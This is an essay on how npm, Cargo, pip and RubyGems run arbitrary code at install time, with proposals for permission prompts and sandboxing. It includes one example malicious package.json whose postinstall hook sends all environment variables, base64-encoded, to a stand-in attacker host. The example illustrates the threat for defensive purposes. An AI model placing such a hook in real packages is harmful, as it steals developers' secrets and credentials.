The Implicit Code Execution Hiding Inside Every Package Install
Source: simonwillison
Simon Willison published a piece last week arguing that package managers need to cool down, and the argument lands harder than it might seem from the title. The surface complaint is about speed and churn, but the deeper issue is one the ecosystem has been avoiding for years: every major package manager ships with the ability to run arbitrary code on your machine as a side effect of installation, and almost none of them ask permission first.
This is not a niche concern. It is structural.
How We Got Here
The original sin is convenience. When npm launched in 2010, the postinstall lifecycle hook was a pragmatic solution to a real problem. Native Node.js addons needed to compile. Binaries needed to be downloaded for the correct platform. Packages like node-sass genuinely could not ship pure JavaScript, so the ecosystem built a convention around running setup code at install time.
The problem is that “run arbitrary shell commands after unpacking” and “compile a C extension for the current platform” are the same mechanism. npm does not distinguish between them. The hook runs as the installing user, with full access to the filesystem, the network, environment variables (including secrets loaded into your shell), SSH agent sockets, and anything else the process can reach.
Here is what a malicious package.json looks like, stripped of all obfuscation:
{
"name": "totally-legitimate-utility",
"version": "1.0.0",
"scripts": {
"postinstall": "node -e \"require('https').get('https://attacker.example/c2?d='+Buffer.from(JSON.stringify(process.env)).toString('base64'))\""
}
}
That runs on npm install. No prompt. No warning. No sandboxing.
The --ignore-scripts flag exists, but using it breaks a significant portion of the npm ecosystem, including packages people depend on every day. It is not a practical default.
The Same Problem, Different Syntax
Other ecosystems followed similar paths for similar reasons.
Cargo runs build.rs files during compilation. These are Rust source files that execute at build time with full system access, and they are common. Many crates use them legitimately to generate bindings, probe the system for library paths, or configure feature flags. A compromised crate with a malicious build.rs runs on every machine that compiles it.
The Rust community has discussed sandboxing build scripts in cargo issue #4956 since 2017. The thread is long. Progress has been slow. The friction is real: sandboxing needs a permission model, a permission model needs design, design takes time, and in the interim everything keeps working the existing way.
pip historically executed setup.py, which is arbitrary Python, during installation. The ecosystem has been migrating toward PEP 517 build backends and pyproject.toml, which reduces the surface area somewhat. But setup.py support remains, legacy packages rely on it, and --no-build-isolation is a flag that exists and gets used. PyPI has seen repeated waves of credential-stealing packages that exploit exactly this.
RubyGems compiles native extensions during install, executing extconf.rb and running make. The blast radius is the same.
The pattern is universal: every ecosystem built a mechanism for legitimate native integration, and that mechanism became an arbitrary code execution vector.
What the XZ Incident Actually Demonstrated
The XZ Utils backdoor, discovered in March 2024, is the canonical example of what happens when the assumptions underlying open-source package trust collapse. An attacker spent two years building reputation, contributing to a widely-used compression library, and then injected a backdoor targeting OpenSSH on systemd-linked systems. It was caught accidentally, by a Microsoft engineer noticing unexpected CPU usage in a benchmark.
The important thing about XZ is not that the attacker was patient or clever. It is that the attack was possible at all because the entire software supply chain from source repository to compiled binary is built on trust in humans who can be compromised, manipulated, or replaced.
Package provenance attestation, which npm added in 2023 and PyPI has been rolling out through PEP 740, helps establish that a package was built from a specific source commit using a specific CI pipeline. It does not help when the maintainer’s account is taken over, when the CI pipeline is compromised, or when the malicious code is in a dependency rather than the package you audited.
Provenance answers “was this built from that source?” not “is this safe to run?”
Deno Did Something Different
Deno’s permission model is the most honest attempt to address this problem at the runtime level. When you run a Deno script, it has no access to the filesystem, network, or environment unless you explicitly grant it:
# No permissions by default
deno run script.ts
# Explicit grants required
deno run --allow-net=api.example.com --allow-read=/tmp script.ts
The Deno permission system extends to imports. A module imported from npm via npm: specifier runs under the same permission model as everything else. This does not prevent malicious packages from doing damage if you grant broad permissions, but it makes the permissions visible and intentional.
The argument against applying this to npm is backwards compatibility. The npm ecosystem has hundreds of thousands of packages with lifecycle hooks. Requiring permission grants would break most of them, require significant package updates, and add friction to a workflow developers have optimized around. These concerns are real. They are also a description of technical debt that compounds every year it goes unpaid.
The Sandboxing Gap
WebAssembly offers one concrete path toward safer package installation. A postinstall hook that runs inside a WASM sandbox with no default host access would preserve the native extension use case while eliminating the ambient authority problem. The sandbox can grant specific capabilities: write to a particular directory, download from a specific URL.
This is not a new idea. The W3C WASI specification defines a capability-based interface for WASM modules targeting system access, designed around exactly this kind of controlled host interaction. Several build toolchain proposals have explored using WASM for sandboxed build steps.
The gap between “this is technically feasible” and “this is deployed in npm” is wide and mostly filled with backwards compatibility concerns, migration cost, and the fact that nothing catastrophic enough has happened yet to force the change.
The Ecosystem Incentive Problem
Package registry operators face a difficult incentive structure. Making installation safer means adding friction. Adding friction means developers complain. Developers complaining means developers exploring alternatives. The registries that ship the most convenient experience tend to win adoption, and “requires permission grants” is less convenient than “just works.”
Commercial tools like Socket.dev and Phylum have moved into the gap, offering static analysis of packages before install to detect suspicious patterns. This is valuable. It is also a layer of protection that should not need to exist if the package manager itself were designed with a more conservative default.
The static analysis approach has limits. It can catch obvious patterns: a postinstall script that base64-encodes environment variables and POSTs them somewhere is a red flag detectable without running the code. It cannot catch well-obfuscated code, code that behaves differently based on the presence of specific environment variables, or code designed to activate only in certain deployment contexts.
What a Realistic Fix Looks Like
The most achievable change is not full WASM sandboxing or a mandatory permission system. It is changing the default so that lifecycle scripts require explicit opt-in from the user or project configuration, with a clear list of which packages are requesting what kinds of access.
Something like:
$ npm install some-native-package
This package requests postinstall execution.
Package: some-native-package@2.1.0
Script: node scripts/build-native.js
Allow? [y/N]
This is a much lower bar than full sandboxing. It does not prevent a malicious script from doing damage if the user allows it. But it interrupts the implicit, invisible nature of the current behavior. It surfaces the attack surface to the person making the decision. It creates an audit trail. And it would force the ecosystem conversation that has been avoided for over a decade.
The resistance to this is predictable: CI pipelines would break. Automated installs would need flags. Developer friction would increase. All true. The question is whether those costs are higher than the ongoing cost of a default that treats “install a package” as equivalent to “trust and execute whatever this package author wrote.”
Simon’s broader point about package managers needing to slow down and consolidate is right. But the code execution question is not about pace. It is about a design decision made in the early 2010s, normalized by convenience, and never revisited even as the threat model changed entirely.